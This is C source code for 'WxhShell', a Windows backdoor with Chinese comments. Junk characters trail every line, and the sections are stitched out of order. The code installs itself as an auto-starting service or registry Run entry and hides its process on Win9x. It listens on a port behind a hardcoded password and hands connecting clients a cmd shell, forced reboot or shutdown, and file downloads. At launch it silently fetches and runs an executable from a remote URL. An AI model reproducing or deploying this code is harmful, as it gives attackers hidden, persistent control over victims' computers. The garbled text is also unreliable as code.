    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Que)kjp  
    if(Boot(SHUTDOWN)) G19FSLrtA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <H#D/?n5  
    else { <QszmE  
    closesocket(wsh); 3`="4  
    ExitThread(0); Mu{mj4Y{  
    } \yM[?/<  
    break; ;r`[6[AG  
    } 5oORwOP  
  // 获取shell ]C]tLJ!M  
  case 's': { ko  ~iDT  
    CmdShell(wsh); (o e;p a  
    closesocket(wsh); hJaqW'S  
    ExitThread(0); AbfLV942  
    break; 2Ie50U  
  } NB16O !r  
  // 退出 g ,Q!F  
  case 'x': { *Z{W,8h*s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~~k IA"U  
    CloseIt(wsh); W.H_G.C%  
    break; [S$)^>0  
    } Y B)1dzU  
  // 离开 ,g^Bu {?  
  case 'q': { b_][Jye&P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Lh,dZ}d  
    closesocket(wsh); pY-iz M L  
    WSACleanup(); xazh8X0P  
    exit(1); #<se0CJB  
    break; +F 5Dc  
        } v*#Z{)r  
  } f'r/Q2{n  
  } 5t0i/&zX  
B#q5Ut  
  // 提示信息 |a'Q^aT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =m-_0xo  
} '8%aq8  
  } i 0L7`TB  
zSkM8LM2  
  return; ?F`lI""E  
} +Cau/sPXL  
t7-sCC0  
// shell模块句柄 +R*4`F:QJQ  
int CmdShell(SOCKET sock) A7: oq7b  
{ c*\^6 1T  
STARTUPINFO si; *TMg.  
ZeroMemory(&si,sizeof(si)); -3KB:K<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {d )Et;_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yh"Z@D[d  
PROCESS_INFORMATION ProcessInfo; 0<i~XN0g  
char cmdline[]="cmd"; g"zk14'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XY%8yII6  
  return 0; 2RM1-j ($  
} nP0} vX)<  
gg8T],s1!a  
// 自身启动模式 Fs&m'g  
int StartFromService(void) Vy(lyD<6  
{ ',O@0L]L  
typedef struct bfa5X<8  
{ sIELkF?.  
  DWORD ExitStatus; u1<xt1K  
  DWORD PebBaseAddress; a(}jn|  
  DWORD AffinityMask; d$Mj5wN:q  
  DWORD BasePriority; kfmIhHlYQ  
  ULONG UniqueProcessId; Ufo- AeQo  
  ULONG InheritedFromUniqueProcessId; pp{%\td  
}   PROCESS_BASIC_INFORMATION; "@ox=  
dxASU|Yo9  
PROCNTQSIP NtQueryInformationProcess; J(l6(+8  
Ex*g>~e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q'\jm=k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fc!%W#-  
T;FzKfT|  
  HANDLE             hProcess; h eh! cDK  
  PROCESS_BASIC_INFORMATION pbi; 6XX5K@  
QZwRg&d<o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C-2n2OM.  
  if(NULL == hInst ) return 0; |E?%Cj^W  
525xm"Bs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'ugG^2Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pXQ&2s$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AV8TP-Ls+  
C8n1j2G\  
  if (!NtQueryInformationProcess) return 0; Ni0lj:  
cb UVeh7Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r@n%  
  if(!hProcess) return 0; JLG5`{  
+SP5+"y@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *}2o \h6Q  
ev+N KUi=  
  CloseHandle(hProcess); w]%r]PwU+  
j#~4JGZt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &V2G <gm0  
if(hProcess==NULL) return 0; LpF6e9V\Wp  
( /N`Wu  
HMODULE hMod; ({i|  
char procName[255]; U O[p   
unsigned long cbNeeded; 89 lPeFQ`  
DSnsi@Mi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wicg8[T=B  
as\V, {<  
  CloseHandle(hProcess); [hiOFmMJZ-  
ll5Kd=3  
if(strstr(procName,"services")) return 1; // 以服务启动 E3KP jK  
)lW<: ?k  
  return 0; // 注册表启动 ,Qh4=+jwqn  
} <LLSUk/  
}k ,Si9O  
// 主模块 FEP\5d>  
int StartWxhshell(LPSTR lpCmdLine) xt-;7  
{ 'i@Y #F%D  
  SOCKET wsl; Yhx~5p  
BOOL val=TRUE; X'3F79`  
  int port=0; *J$=UG,u  
  struct sockaddr_in door; D1Fc7! TV  
*]H ./a:1  
  if(wscfg.ws_autoins) Install(); 8.A; I<  
> h:~*g  
port=atoi(lpCmdLine); QR,i b  
+q2l,{|?  
if(port<=0) port=wscfg.ws_port; oZzE.Q1T  
2Nj0 Hqjq  
  WSADATA data; 9w AP%xh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S ":-5S6  
_]Hn:O"o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VWNmqeP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jUfc&bi3  
  door.sin_family = AF_INET; ~o8$/%Oeb/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *F9uv)[kz  
  door.sin_port = htons(port); QX8N p{g-  
k r/[|.bq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |E}N8 \Gr  
closesocket(wsl); SWmdU]  
return 1; lw Kr$X4  
} Yt{Y)=_t  
1 8&^k|  
  if(listen(wsl,2) == INVALID_SOCKET) { LOOv8'%O8  
closesocket(wsl); g,q&A$Wi  
return 1; 1ITa6vjS  
} iKdC2m  
  Wxhshell(wsl); i .'f<z$<  
  WSACleanup(); q_I''L  
gfp#G,/B  
return 0; :|d3BuY  
3L;)asF  
} 3<'n>'  
|m?0h.O,  
// 以NT服务方式启动 l~\'Z2op   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kj}}O2  
{ <7)@Jds\  
DWORD   status = 0; 5jbd!t@L  
  DWORD   specificError = 0xfffffff; 'g$|:bw/  
u9?85  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qUVV374N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,qC_[PUT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v/(< fI^  
  serviceStatus.dwWin32ExitCode     = 0; V-)q&cbW]q  
  serviceStatus.dwServiceSpecificExitCode = 0; Z*leEwgz  
  serviceStatus.dwCheckPoint       = 0; `s.y!(`q  
  serviceStatus.dwWaitHint       = 0; @(ev``L5g  
:vm*miOF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5Rc 5/m  
  if (hServiceStatusHandle==0) return; m'a3}vRV(  
k%.IIVRx  
status = GetLastError(); &"25a[x{B  
  if (status!=NO_ERROR) 6Si z9  
{ A]W`r}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z m_mLk$4H  
    serviceStatus.dwCheckPoint       = 0; r`mfLA]d  
    serviceStatus.dwWaitHint       = 0; 3"cAwU9  
    serviceStatus.dwWin32ExitCode     = status; #IgY'L  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3'IF? ](]U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T?Hs_u{  
    return; 02bv0  
  } ^e)KEkh  
Dy5'm?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J6=*F;x6E  
  serviceStatus.dwCheckPoint       = 0; !m:SRNPg  
  serviceStatus.dwWaitHint       = 0; ~6E `6;`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); # bP1rQ0  
} h_fA  
>^kRIoBkg  
// 处理NT服务事件,比如:启动、停止 :+Y+5:U]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l2._Z Py  
{ 1dHN<xy  
switch(fdwControl) S9U`-\L0  
{ x2(hp  
case SERVICE_CONTROL_STOP: %Q]m6ciAM  
  serviceStatus.dwWin32ExitCode = 0; j l%27Ld  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0c /xE<h  
  serviceStatus.dwCheckPoint   = 0; "0pu_  
  serviceStatus.dwWaitHint     = 0; x^xlH!Sc  
  { 0LeR#l:I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X\V1c$13CK  
  } )jm}h7,  
  return; L;wzvz\+  
case SERVICE_CONTROL_PAUSE: /X; [ 9&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :$L^l{gT  
  break; T}M!A|   
case SERVICE_CONTROL_CONTINUE: y)CnH4{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J7c(qGJI2  
  break; p gW BW9\  
case SERVICE_CONTROL_INTERROGATE: :bNqK0[rS  
  break; au1uFu-  
}; K!=Y4"5%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fX^ <H_1$G  
} ?:H4Xd7  
XOe)tz L  
// 标准应用程序主函数 3"!h+dXw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CD]"Q1 t}  
{ *6IytW OX5  
.hPk}B/KV  
// 获取操作系统版本 1P;J%.{  
OsIsNt=GetOsVer(); #Ie/|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FN0)DN2d}  
mmRxs1 0$  
  // 从命令行安装 d< j+a1&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9EHhVi  
!8~A`  
  // 下载执行文件 O*jTrZ(k  
if(wscfg.ws_downexe) { 76epkiz;=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C&wp*  
  WinExec(wscfg.ws_filenam,SW_HIDE); vLCyT=OB`  
} icS% ])3LF  
w5Lev}Rb  
if(!OsIsNt) { V7DMn@Ckw  
// 如果时win9x,隐藏进程并且设置为注册表启动 )d(F]uV:y  
HideProc(); /;E{(%U)t  
StartWxhshell(lpCmdLine); bAOL<0RS9`  
} ^1`Mz<  
else n4Xh}KtH  
  if(StartFromService()) 1z IX $A  
  // 以服务方式启动 c6-~PKJL  
  StartServiceCtrlDispatcher(DispatchTable); fj"1TtPq#  
else AdU0 sZ+&c  
  // 普通方式启动 )?y${T   
  StartWxhshell(lpCmdLine); qL2!\zt>g  
VcX89c4\  
return 0; )>"|<h.2]  
} BcXPgM!Xqz  
ExKyjWAJ  
s$g3__|Y  
nz2`YyR  
=========================================== .o#A(3&n  
OV2/?  
.RW&=1D6  
9z#z9|hj)3  
~~r7TPq  
TGDrTyI?y  
" )Szn,  
M!R=&a=Z  
#include <stdio.h> awB+B8^s  
#include <string.h> do[w&`jw8  
#include <windows.h> qx5jaa3  
#include <winsock2.h> q:cCk#ra  
#include <winsvc.h> u u$Jwn!S  
#include <urlmon.h> A1Es>NK[qW  
=JaxT90x  
#pragma comment (lib, "Ws2_32.lib") Nr"gj$v  
#pragma comment (lib, "urlmon.lib") .k -!/^  
kD46Le++B  
#define MAX_USER   100 // 最大客户端连接数 >PYc57S1c  
#define BUF_SOCK   200 // sock buffer f = 'AI  
#define KEY_BUFF   255 // 输入 buffer @6kkt~>:  
qm/#kPlM  
#define REBOOT     0   // 重启 ~KYA{^`*  
#define SHUTDOWN   1   // 关机 3~%M4(  
oH(a*i  
#define DEF_PORT   5000 // 监听端口 SuA  @S  
Q_6v3no1  
#define REG_LEN     16   // 注册表键长度 m1D,#=C,_  
#define SVC_LEN     80   // NT服务名长度 h$]nfHi_Q  
V'FKgzd  
// 从dll定义API =F% <W7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B{K_?ae!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o'_eLp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tmk'rOg5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SveP:uJA[  
_"t"orD6  
// wxhshell配置信息 0 s@>e  
struct WSCFG { pS "A{k)i  
  int ws_port;         // 监听端口 +h? Gps  
  char ws_passstr[REG_LEN]; // 口令 *JOp)e0b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0HI0/Tvu$<  
  char ws_regname[REG_LEN]; // 注册表键名 )TcD-Jr  
  char ws_svcname[REG_LEN]; // 服务名 yu jv^2/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HggINMG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 79 \SbB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h ^Wm03w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :j[=   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f3*SIKi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XzW\p8D^u  
K_Kz8qV.?  
}; h^f?rWD:nz  
zUA -  
// default Wxhshell configuration q3D,hG_  
struct WSCFG wscfg={DEF_PORT, >CYz6G j  
    "xuhuanlingzhe", 6u,w  
    1, ] V,#>'  
    "Wxhshell", M1eM^m8U  
    "Wxhshell", !]MGIh#u  
            "WxhShell Service", @`nU=kY/  
    "Wrsky Windows CmdShell Service", )%q )!x  
    "Please Input Your Password: ", km,@yU  
  1, ;m"R.Q9*  
  "http://www.wrsky.com/wxhshell.exe", VO<P9g$UD  
  "Wxhshell.exe" op,mP0b  
    }; -yMD9b  
36d6KS 7  
// 消息定义模块 -e.ygiK.`S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .G>6_n3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 17lc5#^L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QaLVIsnfN  
char *msg_ws_ext="\n\rExit."; Sj;:*jk!h  
char *msg_ws_end="\n\rQuit."; ,ysn7Y{Y  
char *msg_ws_boot="\n\rReboot..."; 2SYV2  
char *msg_ws_poff="\n\rShutdown..."; 5Y5N   
char *msg_ws_down="\n\rSave to "; Lmc"q FzK  
?V})2wwP  
char *msg_ws_err="\n\rErr!"; 9j1 tcT  
char *msg_ws_ok="\n\rOK!"; ~t^'4"K*  
(Zu8WyT2  
char ExeFile[MAX_PATH]; *KPNWY9!W  
int nUser = 0; #rx@ 2zi  
HANDLE handles[MAX_USER]; rlkg.e6  
int OsIsNt; &z"yls  
KCfcEz  
SERVICE_STATUS       serviceStatus; I z)~h>-F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ys9MV%*  
1y.!x~Pi,  
// 函数声明 #po}Y  
int Install(void); CQ#%v%  
int Uninstall(void); tkEup&  
int DownloadFile(char *sURL, SOCKET wsh); Ok_)C+o  
int Boot(int flag); 6M@m`c  
void HideProc(void); 3qq 6X?y*  
int GetOsVer(void); ?N@p~ *x  
int Wxhshell(SOCKET wsl); R^GLATM  
void TalkWithClient(void *cs); ^BQ*l5K  
int CmdShell(SOCKET sock); >=ng?  
int StartFromService(void); Sv03="&  
int StartWxhshell(LPSTR lpCmdLine); oW8 hC  
~f] I0FK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J/^|Y6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }P"JP[#E\  
b+mh9q'5E  
// 数据结构和表定义 R6 dD17  
SERVICE_TABLE_ENTRY DispatchTable[] = ceGo:Aa<)  
{ oF#]<Z\  
{wscfg.ws_svcname, NTServiceMain}, j!QP>AM|`  
{NULL, NULL} !_=3Dz  
}; cG I^IPI  
|%-:qk4rG  
// 自我安装 @d=4C{g%o  
int Install(void) 0Xw3h^%  
{ ejC== Fkc  
  char svExeFile[MAX_PATH]; *27*&&=)H  
  HKEY key; 7= x]p  
  strcpy(svExeFile,ExeFile); C!aK5rqhv  
LVp*YOq7  
// 如果是win9x系统,修改注册表设为自启动 W]DZ'  
if(!OsIsNt) { _rf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qd$!?h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @}@J$ g  
  RegCloseKey(key); t&=]>blIs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M/mUY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f6Io|CZWJ  
  RegCloseKey(key); XK4idC  
  return 0; Qs.g%  
    } FUj4y 9X  
  } W g2Y`2@t  
} A 9HJWKO  
else { G(XI TL u*  
=D2x@ank[  
// 如果是NT以上系统,安装为系统服务 `* =Tf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KW.QVBuVO#  
if (schSCManager!=0) , 1{)B  
{ ;f7;U=gl,  
  SC_HANDLE schService = CreateService idr,s\$>  
  ( :LwNOuavN  
  schSCManager, DdL0MGwX  
  wscfg.ws_svcname, A+lP]Oy0S  
  wscfg.ws_svcdisp, -Vi"hSsUP  
  SERVICE_ALL_ACCESS, er?'o1M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d= -/'_'  
  SERVICE_AUTO_START, $MEKt}S  
  SERVICE_ERROR_NORMAL, o(I[_oUy\  
  svExeFile, {IW pI *  
  NULL, RqIic\aD  
  NULL, Ex ?)FL$4  
  NULL, %:eep G|  
  NULL, G,8LF/sR  
  NULL FN&.PdRT  
  ); ;@@1$mzK  
  if (schService!=0) /f9jLY +  
  { DM*mOT  
  CloseServiceHandle(schService); I =t{ u;  
  CloseServiceHandle(schSCManager); O0{M3-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MU^7(s="  
  strcat(svExeFile,wscfg.ws_svcname); -VESe}c:nQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1|VnPQqA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #qk A*WP  
  RegCloseKey(key); VR>;{>~  
  return 0; dE+xU(\, w  
    } :o}J u}t  
  } {iqH 27\E  
  CloseServiceHandle(schSCManager); r`|/qP:T[  
} .pgTp X   
} dE*n!@  
%p}_4+[;  
return 1; k=<,A'y-/  
} \k1psqw^O  
8Hf!@p6R+  
// 自我卸载 xV'\2n=1T  
int Uninstall(void) N9D<wAK##)  
{ Vc3tKuMsiX  
  HKEY key; ;f7(d\=y  
M$z.S0"  
if(!OsIsNt) { 'w`:p{E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d*=P8QwL|  
  RegDeleteValue(key,wscfg.ws_regname); adh=Kp e!w  
  RegCloseKey(key); 8? 4j-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /'IOi`d  
  RegDeleteValue(key,wscfg.ws_regname); bE2^sx`(  
  RegCloseKey(key); \cdNyVY  
  return 0; dF*@G/p>V  
  } e%&2tf4  
}  KAmv7  
} aE6 I|6W?  
else { F kp;G  
-cCujDM#T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K*Zf^g m  
if (schSCManager!=0) ^ad p<?q4  
{ zg&<HJO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o~,dkV  
  if (schService!=0) sTO*  
  { A1:<-TF6^p  
  if(DeleteService(schService)!=0) { Z9s tB>?  
  CloseServiceHandle(schService); Ns2M8  
  CloseServiceHandle(schSCManager); !CROc}  
  return 0; 3hr&p{/  
  } -:`$8/A|  
  CloseServiceHandle(schService); ~AxA ,  
  } "W;Gv I  
  CloseServiceHandle(schSCManager); [!4p5;  
} Jz s.)  
} u~\u8X3  
}3F8[Td.~N  
return 1; Zf |%t  
} 3(G}IWPq<  
N;7Xt9l  
// 从指定url下载文件 D(D:/L8T,  
int DownloadFile(char *sURL, SOCKET wsh) 5BCXI8Ox9x  
{ cj@Ygc)n  
  HRESULT hr; *SQ hXTn  
char seps[]= "/"; W~E%Eq3  
char *token; L8N`<a5T  
char *file; s@K)RhTY  
char myURL[MAX_PATH]; k/YEUC5  
char myFILE[MAX_PATH]; r k;k:<c  
4bqi&h3  
strcpy(myURL,sURL); L6Ykv/V  
  token=strtok(myURL,seps); Ro$'|}(+A  
  while(token!=NULL) qz"di~7  
  { vFL Qq,?Nh  
    file=token; e5_a.c  
  token=strtok(NULL,seps); = ;#?CAa:  
  } xal+ buOiP  
eWSA  
GetCurrentDirectory(MAX_PATH,myFILE); f/RzE  
strcat(myFILE, "\\"); *,X;4?:,  
strcat(myFILE, file); v{ Md4 p  
  send(wsh,myFILE,strlen(myFILE),0); bmVksi2b  
send(wsh,"...",3,0); wgxr8;8`q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FjqoO.  
  if(hr==S_OK) ?47q0C  
return 0; Yo3my>N&g  
else J3gJSRT@P  
return 1; C-lv=FJEk/  
Ecp]fUQK  
} `"zXf-qeE  
F|3Te?_  
// 系统电源模块 Gs;wx_k^  
int Boot(int flag) G#-t&gO3  
{ B-PN +P2  
  HANDLE hToken; "n3r,  
  TOKEN_PRIVILEGES tkp; + X(@o  
Ya{$:90(4  
  if(OsIsNt) { rpH ,c[D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lYldq)qB{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G(W/.*  
    tkp.PrivilegeCount = 1; NovF?kh2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .1<QB{4~v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3*x_S"h  
if(flag==REBOOT) { =]jc{Y%o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wm~35cF(  
  return 0; N Q~keN  
} <]<P<  
else { V .+ mK|)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q`- JRY-  
  return 0; zLEl/yPE  
} 0'q&7 MV  
  } c-1,((p  
  else { a!rU+hiC  
if(flag==REBOOT) { h=h4`uA9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A) {q 7WI  
  return 0; bQd'objpY  
} e>z   
else { :Z)a&A9v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5hN)y-4@  
  return 0; VRden>vKN  
} Ok63 w7  
} "LZQ1P*ef$  
! R rk  
return 1; &w15 GO;4  
} b7-M'-Km0_  
|Z6M?n  
// win9x进程隐藏模块 Q8-;w{%  
void HideProc(void) N8*6sK.  
{ Z*uv~0a>9Q  
 W^dk:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HK}br!?  
  if ( hKernel != NULL ) uBpnfIe  
  { h&5bMW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b;Nm$`2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VZveNz@]r  
    FreeLibrary(hKernel); 1,Ams  
  } !fX&i6  
bsCl w  
return; i28WgDG)5  
} *Wbs{>&No  
yV"k:_O{  
// 获取操作系统版本 Q)]C~Q  
int GetOsVer(void) /;5U-<qf  
{ uX/K/4  
  OSVERSIONINFO winfo; _\"2Mdk`]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h2S!<  
  GetVersionEx(&winfo); %<dvdIB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ov3FKMG?  
  return 1; qb$&BZj]|  
  else ) wZ;}O  
  return 0; {beu  
} ztS:1\  
}>93X0%r  
// 客户端句柄模块 sA(d_ Yu_  
int Wxhshell(SOCKET wsl) lIhP\:;S&  
{ mV>l`&K=  
  SOCKET wsh; k`we_$/Gw  
  struct sockaddr_in client; %3%bRP  
  DWORD myID; rtSG- _[i  
b#%$y  
  while(nUser<MAX_USER) %[cZ,F=  
{ NZb}n`:  
  int nSize=sizeof(client); q"@>rU4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .#q]{j@Ot  
  if(wsh==INVALID_SOCKET) return 1; M&[bb $00j  
&xWej2a!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !-veL1r  
if(handles[nUser]==0) +,Ud 3iS  
  closesocket(wsh); 9}|x N8  
else "M;aNi^B  
  nUser++; FG:t2ea  
  } H*H~~yQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e S: 8Pn  
9 _oAs"w  
  return 0; c 8t  
} <rihi:4K  
$ucDz f=o  
// 关闭 socket ^7Rc\   
void CloseIt(SOCKET wsh) JT p+&NS  
{ NNxz Z!q!  
closesocket(wsh); M!wa }  
nUser--; Cut7  
ExitThread(0); O#@G .~n?  
} diWi0@  
-Hh.8(!XoO  
// 客户端请求句柄 aGAeRF  
void TalkWithClient(void *cs) Kh8  
{ h'nXV{N0  
|SfCuV#g/<  
  SOCKET wsh=(SOCKET)cs; ^]NFr*'!  
  char pwd[SVC_LEN]; I=pFGU  
  char cmd[KEY_BUFF]; %M*2j%6  
char chr[1]; r i/CLq^D  
int i,j; g)1`A 24  
x~JOg57up  
  while (nUser < MAX_USER) { r3NdE~OAi  
K=Z.<f  
if(wscfg.ws_passstr) { udOdXz6K?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `]=0oDG:1!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FL {$9o\@  
  //ZeroMemory(pwd,KEY_BUFF); jdIAN  
      i=0; FN/siw(?3  
  while(i<SVC_LEN) { O+?vQ$z  
ZY|$[>X!  
  // 设置超时 050V-S>s  
  fd_set FdRead; \4KV9wm  
  struct timeval TimeOut; TT oW>RP#  
  FD_ZERO(&FdRead); v~A*?WU;n  
  FD_SET(wsh,&FdRead); <Gna}ALkg  
  TimeOut.tv_sec=8; +!K*FU=).  
  TimeOut.tv_usec=0; N/zP!%L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6HZVBZhM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zHKx,]9b  
e^}@X[*'#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &I:ZJuQ4  
  pwd=chr[0]; h=4 GSU  
  if(chr[0]==0xd || chr[0]==0xa) { ^'n;W<\p)  
  pwd=0; w6h*dh$w  
  break; :=*V i`  
  } 7h.fT`  
  i++; )nGH$Mu  
    } hEFOT]P4  
0YC|;`J  
  // 如果是非法用户,关闭 socket Qff.QI,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6!se,SCvw  
} WXY-]ir.  
p=m:^9/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uu.}<VM.1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |\>Ifv%{  
yJ="dEn>i"  
while(1) { F'-XAI <3  
-Jf}3$Ra  
  ZeroMemory(cmd,KEY_BUFF); m@UrFPZ  
1xr2x;  
      // 自动支持客户端 telnet标准   1Ko4O)L]&  
  j=0; :H:Se  
  while(j<KEY_BUFF) { ROXa/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kS?CKd9by  
  cmd[j]=chr[0]; eL<jA9cJ9  
  if(chr[0]==0xa || chr[0]==0xd) { I9dX\w}  
  cmd[j]=0; Ss0I{0  
  break; kZ PL$ \/A  
  } U^eos;:s8  
  j++; NwxDxIIH/)  
    } %E"v@  
M~n./wyC  
  // 下载文件 2C1NDrS;}  
  if(strstr(cmd,"http://")) { [RF]lM]w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z4~p(tl  
  if(DownloadFile(cmd,wsh)) m\XG7uo~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "LSzF_mK  
  else BOh^oQh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8.>himL  
  } .lq83; k  
  else { K- $,:28  
2% /Kf}+  
    switch(cmd[0]) { d WY{x47  
